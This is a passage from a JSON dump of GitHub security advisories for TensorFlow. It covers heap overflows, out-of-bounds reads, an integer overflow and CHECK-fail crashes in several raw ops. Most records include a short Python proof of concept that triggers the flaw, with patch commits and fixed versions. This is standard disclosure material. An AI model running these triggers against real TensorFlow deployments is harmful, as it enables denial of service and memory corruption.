X-Team.","origin":"UNSPECIFIED","severity":"LOW","published_at":"2021-05-21T14:23:41.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":2.0,"cvss_vector":"CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N","references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-f78g-q7r4-9wcv","https://nvd.nist.gov/vuln/detail/CVE-2021-29550","https://github.com/tensorflow/tensorflow/commit/548b5eaf23685d86f722233d8fbc21d0a4aecb96","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-478.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-676.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-187.yaml","https://github.com/advisories/GHSA-f78g-q7r4-9wcv"],"source_kind":"github","identifiers":["GHSA-f78g-q7r4-9wcv","CVE-2021-29550"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":9.735582934691685,"packages":[{"versions":[{"first_patched_version":"2.4.2","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.2"},{"first_patched_version":"2.3.3","vulnerable_version_range":"\u003e= 2.3.0, \u003c 2.3.3"},{"first_patched_version":"2.2.3","vulnerable_version_range":"\u003e= 2.2.0, \u003c 2.2.3"},{"first_patched_version":"2.1.4","vulnerable_version_range":"\u003c 2.1.4"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.4.2","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.2"},{"first_patched_version":"2.3.3","vulnerable_version_range":"\u003e= 2.3.0, \u003c 2.3.3"},{"first_patched_version":"2.2.3","vulnerable_version_range":"\u003e= 2.2.0, \u003c 2.2.3"},{"first_patched_version":"2.1.4","vulnerable_version_range":"\u003c 2.1.4"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.4.2","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.2"},{"first_patched_version":"2.3.3","vulnerable_version_range":"\u003e= 2.3.0, \u003c 2.3.3"},{"first_patched_version":"2.2.3","vulnerable_version_range":"\u003e= 2.2.0, \u003c 2.2.3"},{"first_patched_version":"2.1.4","vulnerable_version_range":"\u003c 2.1.4"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2022-12-21T16:13:02.653Z","updated_at":"2024-10-30T23:16:11.000Z","epss_percentage":0.00015,"epss_percentile":0.018},{"uuid":"MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLThndjMtNTdwNi1nMzVy","url":"https://github.com/advisories/GHSA-8gv3-57p6-g35r","title":"Heap buffer overflow in `RaggedTensorToTensor`","description":"### Impact\nAn attacker can cause a heap buffer overflow in `tf.raw_ops.RaggedTensorToTensor`:\n\n```python\nimport tensorflow as tf\n\nshape = tf.constant([10, 10], shape=[2], dtype=tf.int64)\nvalues = tf.constant(0, shape=[1], dtype=tf.int64)\ndefault_value = tf.constant(0, dtype=tf.int64)\nl = [849, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]\nrow = tf.constant(l, shape=[5, 43], dtype=tf.int64)\nrows = [row]\ntypes = ['ROW_SPLITS']\n\ntf.raw_ops.RaggedTensorToTensor(\n    shape=shape, values=values, default_value=default_value,\n    row_partition_tensors=rows, row_partition_types=types) \n```\n\nThis is because the [implementation](https://github.com/tensorflow/tensorflow/blob/d94227d43aa125ad8b54115c03cece54f6a1977b/tensorflow/core/kernels/ragged_tensor_to_tensor_op.cc#L219-L222) uses the same index to access two arrays in parallel:\n\n```cc\nfor (INDEX_TYPE i = 0; i \u003c row_split_size - 1; ++i) {\n  INDEX_TYPE row_length = row_split(i + 1) - row_split(i);\n  INDEX_TYPE real_length = std::min(output_size, row_length);\n  INDEX_TYPE parent_output_index_current = parent_output_index[i];\n  ...\n}\n```\n\nSince the user controls the shape of the input arguments, an attacker could trigger a heap OOB access when `parent_output_index` is shorter than `row_split`.\n\n### Patches\nWe have patched the issue in GitHub commit [a84358aa12f0b1518e606095ab9cfddbf597c121](https://github.com/tensorflow/tensorflow/commit/a84358aa12f0b1518e606095ab9cfddbf597c121).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by Ying Wang and Yakun Zhang of Baidu X-Team.","origin":"UNSPECIFIED","severity":"LOW","published_at":"2021-05-21T14:24:57.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":2.0,"cvss_vector":"CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N","references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-8gv3-57p6-g35r","https://nvd.nist.gov/vuln/detail/CVE-2021-29560","https://github.com/tensorflow/tensorflow/commit/a84358aa12f0b1518e606095ab9cfddbf597c121","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-488.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-686.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-197.yaml","https://github.com/advisories/GHSA-8gv3-57p6-g35r"],"source_kind":"github","identifiers":["GHSA-8gv3-57p6-g35r","CVE-2021-29560"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":9.735582934691685,"packages":[{"versions":[{"first_patched_version":"2.4.2","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.2"},{"first_patched_version":"2.3.3","vulnerable_version_range":"\u003e= 2.3.0, \u003c 2.3.3"},{"first_patched_version":"2.2.3","vulnerable_version_range":"\u003e= 2.2.0, \u003c 2.2.3"},{"first_patched_version":"2.1.4","vulnerable_version_range":"\u003c 2.1.4"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.4.2","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.2"},{"first_patched_version":"2.3.3","vulnerable_version_range":"\u003e= 2.3.0, \u003c 2.3.3"},{"first_patched_version":"2.2.3","vulnerable_version_range":"\u003e= 2.2.0, \u003c 2.2.3"},{"first_patched_version":"2.1.4","vulnerable_version_range":"\u003c 2.1.4"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.4.2","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.2"},{"first_patched_version":"2.3.3","vulnerable_version_range":"\u003e= 2.3.0, \u003c 2.3.3"},{"first_patched_version":"2.2.3","vulnerable_version_range":"\u003e= 2.2.0, \u003c 2.2.3"},{"first_patched_version":"2.1.4","vulnerable_version_range":"\u003c 2.1.4"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2022-12-21T16:13:02.840Z","updated_at":"2024-11-01T16:58:19.000Z","epss_percentage":0.00018,"epss_percentile":0.03113},{"uuid":"MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLXI0YzQtNWZwcS01Nndn","url":"https://github.com/advisories/GHSA-r4c4-5fpq-56wg","title":"Heap OOB in boosted trees","description":"### Impact\nAn attacker can read from outside of bounds of heap allocated data by sending specially crafted illegal arguments to `BoostedTreesSparseCalculateBestFeatureSplit`:\n\n```python\nimport tensorflow as tf\n\ntf.raw_ops.BoostedTreesSparseCalculateBestFeatureSplit(\n  node_id_range=[0,10],\n  stats_summary_indices=[[1, 2, 3, 0x1000000]],\n  stats_summary_values=[1.0],\n  stats_summary_shape=[1,1,1,1],\n  l1=l2=[1.0],\n  tree_complexity=[0.5],\n  min_node_weight=[1.0],\n  logits_dimension=3,\n  split_type='inequality')                                                                                                                                                                                                                                                                \n```\n\nThe [implementation](https://github.com/tensorflow/tensorflow/blob/84d053187cb80d975ef2b9684d4b61981bca0c41/tensorflow/core/kernels/boosted_trees/stats_ops.cc) needs to validate that each value in `stats_summary_indices` is in range.\n  \n### Patches\nWe have patched the issue in GitHub commit [e84c975313e8e8e38bb2ea118196369c45c51378](https://github.com/tensorflow/tensorflow/commit/e84c975313e8e8e38bb2ea118196369c45c51378).\n  \nThe fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range.\n  \n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by members of the Aivul Team from Qihoo 360.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2021-08-25T14:42:20.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.0,"cvss_vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:L/VA:H/SC:N/SI:N/SA:N","references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-r4c4-5fpq-56wg","https://nvd.nist.gov/vuln/detail/CVE-2021-37664","https://github.com/tensorflow/tensorflow/commit/e84c975313e8e8e38bb2ea118196369c45c51378","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-577.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-775.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-286.yaml","https://github.com/advisories/GHSA-r4c4-5fpq-56wg"],"source_kind":"github","identifiers":["GHSA-r4c4-5fpq-56wg","CVE-2021-37664"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":34.0745402714209,"packages":[{"versions":[{"first_patched_version":"2.5.1","vulnerable_version_range":"= 2.5.0"},{"first_patched_version":"2.4.3","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.3"},{"first_patched_version":"2.3.4","vulnerable_version_range":"\u003c 2.3.4"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.5.1","vulnerable_version_range":"= 2.5.0"},{"first_patched_version":"2.4.3","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.3"},{"first_patched_version":"2.3.4","vulnerable_version_range":"\u003c 2.3.4"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.5.1","vulnerable_version_range":"= 2.5.0"},{"first_patched_version":"2.4.3","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.3"},{"first_patched_version":"2.3.4","vulnerable_version_range":"\u003c 2.3.4"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2022-12-21T16:12:49.387Z","updated_at":"2024-11-13T20:57:54.000Z","epss_percentage":0.00014,"epss_percentile":0.01485},{"uuid":"GSA_kwCzR0hTQS1xeDNmLXA3NDUtdzRocs0ogg","url":"https://github.com/advisories/GHSA-qx3f-p745-w4hr","title":"Integer overflow in Tensorflow","description":"### Impact\nThe implementation of `Range` suffers from integer overflows. These can trigger undefined behavior or, in some scenarios, extremely large allocations.\n\n### Patches\nWe have patched the issue in GitHub commit [f0147751fd5d2ff23251149ebad9af9f03010732](https://github.com/tensorflow/tensorflow/commit/f0147751fd5d2ff23251149ebad9af9f03010732) (merging [#51733](https://github.com/tensorflow/tensorflow/pull/51733)).\n\nThe fix will be included in TensorFlow 2.8.0. We will also cherrypick this commit on TensorFlow 2.7.1, TensorFlow 2.6.3, and TensorFlow 2.5.3, as these are also affected and still in supported range.\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n### Attribution\nThis vulnerability has been reported externally via a [GitHub issue](https://github.com/tensorflow/tensorflow/issues/52676).","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2022-02-09T23:54:07.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.2,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:H/SC:N/SI:N/SA:N","references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-qx3f-p745-w4hr","https://github.com/tensorflow/tensorflow/issues/52676","https://github.com/tensorflow/tensorflow/pull/51733","https://github.com/tensorflow/tensorflow/commit/f0147751fd5d2ff23251149ebad9af9f03010732","https://nvd.nist.gov/vuln/detail/CVE-2022-23562","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2022-71.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2022-126.yaml","https://github.com/advisories/GHSA-qx3f-p745-w4hr"],"source_kind":"github","identifiers":["GHSA-qx3f-p745-w4hr","CVE-2022-23562"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":35.04809856489007,"packages":[{"versions":[{"first_patched_version":"2.7.1","vulnerable_version_range":"= 2.7.0"},{"first_patched_version":"2.6.3","vulnerable_version_range":"\u003e= 2.6.0, \u003c 2.6.3"},{"first_patched_version":"2.5.3","vulnerable_version_range":"\u003c 2.5.3"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.7.1","vulnerable_version_range":"= 2.7.0"},{"first_patched_version":"2.6.3","vulnerable_version_range":"\u003e= 2.6.0, \u003c 2.6.3"},{"first_patched_version":"2.5.3","vulnerable_version_range":"\u003c 2.5.3"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.7.1","vulnerable_version_range":"= 2.7.0"},{"first_patched_version":"2.6.3","vulnerable_version_range":"\u003e= 2.6.0, \u003c 2.6.3"},{"first_patched_version":"2.5.3","vulnerable_version_range":"\u003c 2.5.3"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2022-12-21T16:12:36.921Z","updated_at":"2024-11-13T22:38:51.000Z","epss_percentage":0.00361,"epss_percentile":0.57469},{"uuid":"MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLWd2bTQtaDhqMy1yanJx","url":"https://github.com/advisories/GHSA-gvm4-h8j3-rjrq","title":"CHECK-fail in `LoadAndRemapMatrix`","description":"### Impact\nAn attacker can cause a denial of service by exploiting a `CHECK`-failure coming from `tf.raw_ops.LoadAndRemapMatrix`:\n    \n```python\nimport tensorflow as tf\n\nckpt_path = tf.constant([], shape=[0], dtype=tf.string)\nold_tensor_name = tf.constant(\"\")\nrow_remapping = tf.constant([], shape=[0], dtype=tf.int64)\ncol_remapping = tf.constant([1], shape=[1], dtype=tf.int64)\ninitializing_values = tf.constant(1.0)\n\ntf.raw_ops.LoadAndRemapMatrix(\n    ckpt_path=ckpt_path, old_tensor_name=old_tensor_name,\n    row_remapping=row_remapping, col_remapping=col_remapping,\n    initializing_values=initializing_values, num_rows=0, num_cols=1)\n```\n\nThis is because the [implementation](https://github.com/tensorflow/tensorflow/blob/d94227d43aa125ad8b54115c03cece54f6a1977b/tensorflow/core/kernels/ragged_tensor_to_tensor_op.cc#L219-L222) assumes that the `ckpt_path` is always a valid scalar.\n  \n```cc\nconst string\u0026 ckpt_path = ckpt_path_t-\u003escalar\u003ctstring\u003e()();\n```\n\nHowever, an attacker can send any other tensor as the first argument of `LoadAndRemapMatrix`. This would cause the rank `CHECK` in `scalar\u003cT\u003e()()` to trigger and terminate the process.\n\n### Patches\nWe have patched the issue in GitHub commit [77dd114513d7796e1e2b8aece214a380af26fbf4](https://github.com/tensorflow/tensorflow/commit/77dd114513d7796e1e2b8aece214a380af26fbf4).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by Yakun Zhang and Ying Wang of Baidu X-Team.","origin":"UNSPECIFIED","severity":"LOW","published_at":"2021-05-21T14:24:59.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":2.0,"cvss_vector":"CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N","references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-gvm4-h8j3-rjrq","https://nvd.nist.gov/vuln/detail/CVE-2021-29561","https://github.com/tensorflow/tensorflow/commit/77dd114513d7796e1e2b8aece214a380af26fbf4","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-489.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-687.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-198.yaml","https://github.com/advisories/GHSA-gvm4-h8j3-rjrq"],"source_kind":"github","identifiers":["GHSA-gvm4-h8j3-rjrq","CVE-2021-29561"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":9.735582934691685,"packages":[{"versions":[{"first_patched_version":"2.4.2","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.2"},{"first_patched_version":"2.3.3","vulnerable_version_range":"\u003e= 2.3.0, \u003c 2.3.3"},{"first_patched_version":"2.2.3","vulnerable_version_range":"\u003e= 2.2.0, \u003c 2.2.3"},{"first_patched_version":"2.1.4","vulnerable_version_range":"\u003c 2.1.4"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.4.2","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.2"},{"first_patched_version":"2.3.3","vulnerable_version_range":"\u003e= 2.3.0, \u003c 2.3.3"},{"first_patched_version":"2.2.3","vulnerable_version_range":"\u003e= 2.2.0, \u003c 2.2.3"},{"first_patched_version":"2.1.4","vulnerable_version_range":"\u003c 2.1.4"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.4.2","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.2"},{"first_patched_version":"2.3.3","vulnerable_version_range":"\u003e= 2.3.0, \u003c 2.3.3"},{"first_patched_version":"2.2.3","vulnerable_version_range":"\u003e= 2.2.0, \u003c 2.2.3"},{"first_patched_version":"2.1.4","vulnerable_version_range":"\u003c 2.1.4"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2022-12-21T16:13:02.850Z","updated_at":"2024-11-01T16:56:09.000Z","epss_percentage":0.00015,"epss_percentile":0.018},{"uuid":"MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLTZmODktOGo1NC0yOXhm","url":"https://github.com/advisories/GHSA-6f89-8j54-29xf","title":"Heap buffer overflow in `FractionalAvgPoolGrad`","description":"### Impact\nThe implementation of `tf.raw_ops.FractionalAvgPoolGrad` is vulnerable to a heap buffer overflow:\n  \n```python\nimport tensorflow as tf\n\norig_input_tensor_shape = tf.constant([1, 3, 2, 3], shape=[4], dtype=tf.int64)\nout_backprop = tf.constant([2], shape=[1, 1, 1, 1], dtype=tf.int64)\nrow_pooling_sequence = tf.constant([1], shape=[1], dtype=tf.int64)\ncol_pooling_sequence = tf.constant([1], shape=[1], dtype=tf.int64)\n\n\ntf.raw_ops.FractionalAvgPoolGrad(\n  orig_input_tensor_shape=orig_input_tensor_shape, out_backprop=out_backprop,\n  row_pooling_sequence=row_pooling_sequence,\n  col_pooling_sequence=col_pooling_sequence, overlapping=False)\n```\n\nThe [implementation](https://github.com/tensorflow/tensorflow/blob/dcba796a28364d6d7f003f6fe733d82726dda713/tensorflow/core/kernels/fractional_avg_pool_op.cc#L216) fails to validate that the pooling sequence arguments have enough elements as required by the `out_backprop` tensor shape.\n\n### Patches\nWe have patched the issue in GitHub commit [12c727cee857fa19be717f336943d95fca4ffe4f](https://github.com/tensorflow/tensorflow/commit/12c727cee857fa19be717f336943d95fca4ffe4f).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by Ying Wang and Yakun Zhang of Baidu X-Team.","origin":"UNSPECIFIED","severity":"LOW","published_at":"2021-05-21T14:26:21.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":2.0,"cvss_vector":"CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N","references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-6f89-8j54-29xf","https://nvd.nist.gov/vuln/detail/CVE-2021-29578","https://github.com/tensorflow/tensorflow/commit/12c727cee857fa19be717f336943d95fca4ffe4f","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-506.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-704.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-215.yaml","https://github.com/advisories/GHSA-6f89-8j54-29xf"],"source_kind":"github","identifiers":["GHSA-6f89-8j54-29xf","CVE-2021-29578"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":9.735582934691685,"packages":[{"versions":[{"first_patched_version":"2.4.2","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.2"},{"first_patched_version":"2.3.3","vulnerable_version_range":"\u003e= 2.3.0, \u003c 2.3.3"},{"first_patched_version":"2.2.3","vulnerable_version_range":"\u003e= 2.2.0, \u003c 2.2.3"},{"first_patched_version":"2.1.4","vulnerable_version_range":"\u003c 2.1.4"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.4.2","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.2"},{"first_patched_version":"2.3.3","vulnerable_version_range":"\u003e= 2.3.0, \u003c 2.3.3"},{"first_patched_version":"2.2.3","vulnerable_version_range":"\u003e= 2.2.0, \u003c 2.2.3"},{"first_patched_version":"2.1.4","vulnerable_version_range":"\u003c 2.1.4"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.4.2","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.2"},{"first_patched_version":"2.3.3","vulnerable_version_range":"\u003e= 2.3.0, \u003c 2.3.3"},{"first_patched_version":"2.2.3","vulnerable_version_range":"\u003e= 2.2.0, \u003c 2.2.3"},{"first_patched_version":"2.1.4","vulnerable_version_range":"\u003c 2.1.4"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2022-12-21T16:13:03.019Z","updated_at":"2024-11-01T17:12:19.000Z","epss_percentage":0.00018,"epss_percentile":0.03034},{"uuid":"MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLTc5ZnYtOTg2NS00cWN2","url":"https://github.com/advisories/GHSA-79fv-9865-4qcv","title":"Heap buffer overflow in `MaxPoolGrad`","description":"### Impact\nThe implementation of `tf.raw_ops.MaxPoolGrad` is vulnerable to a heap buffer overflow:\n  \n```python\nimport tensorflow as tf\n\norig_input = tf.constant([0.0], shape=[1, 1, 1, 1], dtype=tf.float32)\norig_output = tf.constant([0.0], shape=[1, 1, 1, 1], dtype=tf.float32)\ngrad = tf.constant([], shape=[0, 0, 0, 0], dtype=tf.float32)\nksize = [1, 1, 1, 1] \nstrides = [1, 1, 1, 1]\npadding = \"SAME\"\n\ntf.raw_ops.MaxPoolGrad(\n  orig_input=orig_input, orig_output=orig_output, grad=grad, ksize=ksize,\n  strides=strides, padding=padding, explicit_paddings=[])\n```\n\nThe [implementation](https://github.com/tensorflow/tensorflow/blob/ab1e644b48c82cb71493f4362b4dd38f4577a1cf/tensorflow/core/kernels/maxpooling_op.cc#L194-L203) fails to validate that indices used to access elements of input/output arrays are valid:\n\n```cc\nfor (int index = out_start; index \u003c out_end; ++index) {\n  int input_backprop_index = out_arg_max_flat(index);\n  FastBoundsCheck(input_backprop_index - in_start, in_end - in_start);\n  input_backprop_flat(input_backprop_index) += out_backprop_flat(index);\n}\n```\n\nWhereas accesses to `input_backprop_flat` are guarded by `FastBoundsCheck`, the indexing in `out_backprop_flat` can result in OOB access.\n\n### Patches\nWe have patched the issue in GitHub commit [a74768f8e4efbda4def9f16ee7e13cf3922ac5f7](https://github.com/tensorflow/tensorflow/commit/a74768f8e4efbda4def9f16ee7e13cf3922ac5f7).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by Ying Wang and Yakun Zhang of Baidu X-Team.","origin":"UNSPECIFIED","severity":"LOW","published_at":"2021-05-21T14:26:23.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":2.0,"cvss_vector":"CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N","references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-79fv-9865-4qcv","https://nvd.nist.gov/vuln/detail/CVE-2021-29579","https://github.com/tensorflow/tensorflow/commit/a74768f8e4efbda4def9f16ee7e13cf3922ac5f7","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-507.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-705.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-216.yaml","https://github.com/advisories/GHSA-79fv-9865-4qcv"],"source_kind":"github","identifiers":["GHSA-79fv-9865-4qcv","CVE-2021-29579"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":9.735582934691685,"packages":[{"versions":[{"first_patched_version":"2.4.2","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.2"},{"first_patched_version":"2.3.3","vulnerable_version_range":"\u003e= 2.3.0, \u003c 2.3.3"},{"first_patched_version":"2.2.3","vulnerable_version_range":"\u003e= 2.2.0, \u003c 2.2.3"},{"first_patched_version":"2.1.4","vulnerable_version_range":"\u003c 2.1.4"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.4.2","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.2"},{"first_patched_version":"2.3.3","vulnerable_version_range":"\u003e= 2.3.0, \u003c 2.3.3"},{"first_patched_version":"2.2.3","vulnerable_version_range":"\u003e= 2.2.0, \u003c 2.2.3"},{"first_patched_version":"2.1.4","vulnerable_version_range":"\u003c 2.1.4"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.4.2","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.2"},{"first_patched_version":"2.3.3","vulnerable_version_range":"\u003e= 2.3.0, \u003c 2.3.3"},{"first_patched_version":"2.2.3","vulnerable_version_range":"\u003e= 2.2.0, \u003c 2.2.3"},{"first_patched_version":"2.1.4","vulnerable_version_range":"\u003c 2.1.4"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2022-12-21T16:13:03.028Z","updated_at":"2024-11-01T17:12:55.000Z","epss_percentage":0.00018,"epss_percentile":0.02911},{"uuid":"MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLWNqYzctNDl2Mi1qcDY0","url":"https://github.com/advisories/GHSA-cjc7-49v2-jp64","title":"Incomplete validation in `SparseAdd`","description":"### Impact\nIncomplete validation in `SparseAdd` results in allowing attackers to exploit undefined behavior (dereferencing null pointers) as well as write outside of bounds of heap allocated data:\n\n```python\nimport tensorflow as tf\n\na_indices = tf.zeros([10, 97], dtype=tf.int64)\na_values = tf.zeros([10], dtype=tf.int64)\na_shape = tf.zeros([0], dtype=tf.int64)\n\nb_indices = tf.zeros([0, 0], dtype=tf.int64)\nb_values = tf.zeros([0], dtype=tf.int64)\nb_shape = 